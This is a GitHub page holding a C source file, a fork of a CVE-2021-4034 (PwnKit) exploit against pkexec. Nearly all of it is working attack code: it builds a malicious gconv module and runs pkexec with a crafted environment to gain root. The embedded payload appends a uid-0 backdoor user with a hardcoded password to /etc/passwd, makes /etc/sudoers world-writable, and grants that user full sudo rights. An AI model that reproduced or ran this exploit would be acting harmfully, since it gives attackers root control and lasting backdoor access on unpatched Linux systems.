forked from Rvn0xsy/CVE-2021-4034
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve-2021-4034.c
115 lines (113 loc) · 3.64 KB
/
cve-2021-4034.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"#include <sys/types.h>\n"
"#include <sys/stat.h>\n"
"#include <fcntl.h>\n"
"#include <string.h>\n"
"struct Userinfo {\n"
" char *username;\n"
" char *hash;\n"
" int user_id;\n"
" int group_id;\n"
" char *info;\n"
" char *home_dir;\n"
" char *shell;\n"
"};\n"
"char *generate_password_hash(char *plaintext_pw) {\n"
" const char *salt = \"salt\";\n"
" return crypt(plaintext_pw, salt);\n"
"}\n"
"char *generate_passwd_line(struct Userinfo u) {\n"
" const char *format = \"%s:%s:%d:%d:%s:%s:%s\\n\";\n"
" int size = snprintf(NULL, 0, format, u.username, u.hash,\n"
" u.user_id, u.group_id, u.info, u.home_dir, u.shell);\n"
" char *ret = malloc(size + 1);\n"
" sprintf(ret, format, u.username, u.hash, u.user_id,\n"
" u.group_id, u.info, u.home_dir, u.shell);\n"
" return ret;\n"
"}\n"
"\n"
"int copy_file(const char *from, const char *to) {\n"
" // check if target file already exists\n"
" if(access(to, F_OK) != -1) {\n"
" printf(\"File %s already exists! Please delete it and run again\\n\",to);\n"
" return -1;\n"
" }\n"
" char ch;\n"
" FILE *source, *target;\n"
" source = fopen(from, \"r\");\n"
" if(source == NULL) {\n"
" return -1;\n"
" }\n"
" target = fopen(to, \"w\");\n"
" if(target == NULL) {\n"
" fclose(source);\n"
" return -1;\n"
" }\n"
" while((ch = fgetc(source)) != EOF) {\n"
" fputc(ch, target);\n"
" }\n"
" printf(\"%s successfully backed up to %s\\n\",from, to);\n"
" fclose(source);\n"
" fclose(target);\n"
" return 0;\n"
"}\n"
"\n"
"int write_file(const char * filename, int content_len,char * content){\n"
" FILE * file_fd = fopen(filename, \"a\");\n"
" if(file_fd == NULL) \n"
" { \n"
" puts(\"errno\"); \n"
" return -1;\n"
" } \n"
" else \n"
" { \n"
" puts(\"File Open successed!\\n\"); \n"
" // size_t fwrite(const void *ptr, size_t size, size_t nmemb,FILE *stream);\n"
" size_t writed = fwrite(content,content_len,1,file_fd);\n"
" if(writed == content_len){\n"
" puts(\"Write Success!\\n\");\n"
" fclose(file_fd);\n"
" return 1;\n"
" }\n"
" }\n"
" return 1;\n"
"}\n"
"void gconv() {}\n"
"\n"
"void gconv_init(){\n"
" char *sudoer = \"rooter ALL=(ALL:ALL) ALL\";\n"
" char *plaintext_pw=\"Hello@World\";\n"
" struct Userinfo user;\n"
" user.username = \"rooter\";\n"
" user.user_id = 0;\n"
" user.group_id = 0;\n"
" user.info = \"root\";\n"
" user.home_dir = \"/root\";\n"
" user.shell = \"/bin/bash\";\n"
" user.hash = generate_password_hash(plaintext_pw);\n"
" char *complete_passwd_line = generate_passwd_line(user);\n"
" copy_file(\"/etc/passwd\",\"/tmp/passwd.bak\");\n"
" write_file(\"/etc/passwd\",strlen(complete_passwd_line),complete_passwd_line);\n"
" puts(\"[+]Change sudoers priv.\");\n"
" system(\"chmod a+w /etc/sudoers\");\n"
" copy_file(\"/etc/sudoers\",\"/tmp/sudoers.bak\");\n"
" write_file(\"/etc/sudoers\",strlen(sudoer),sudoer);\n"
" puts(\"[+]Add Root User Success...\");\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}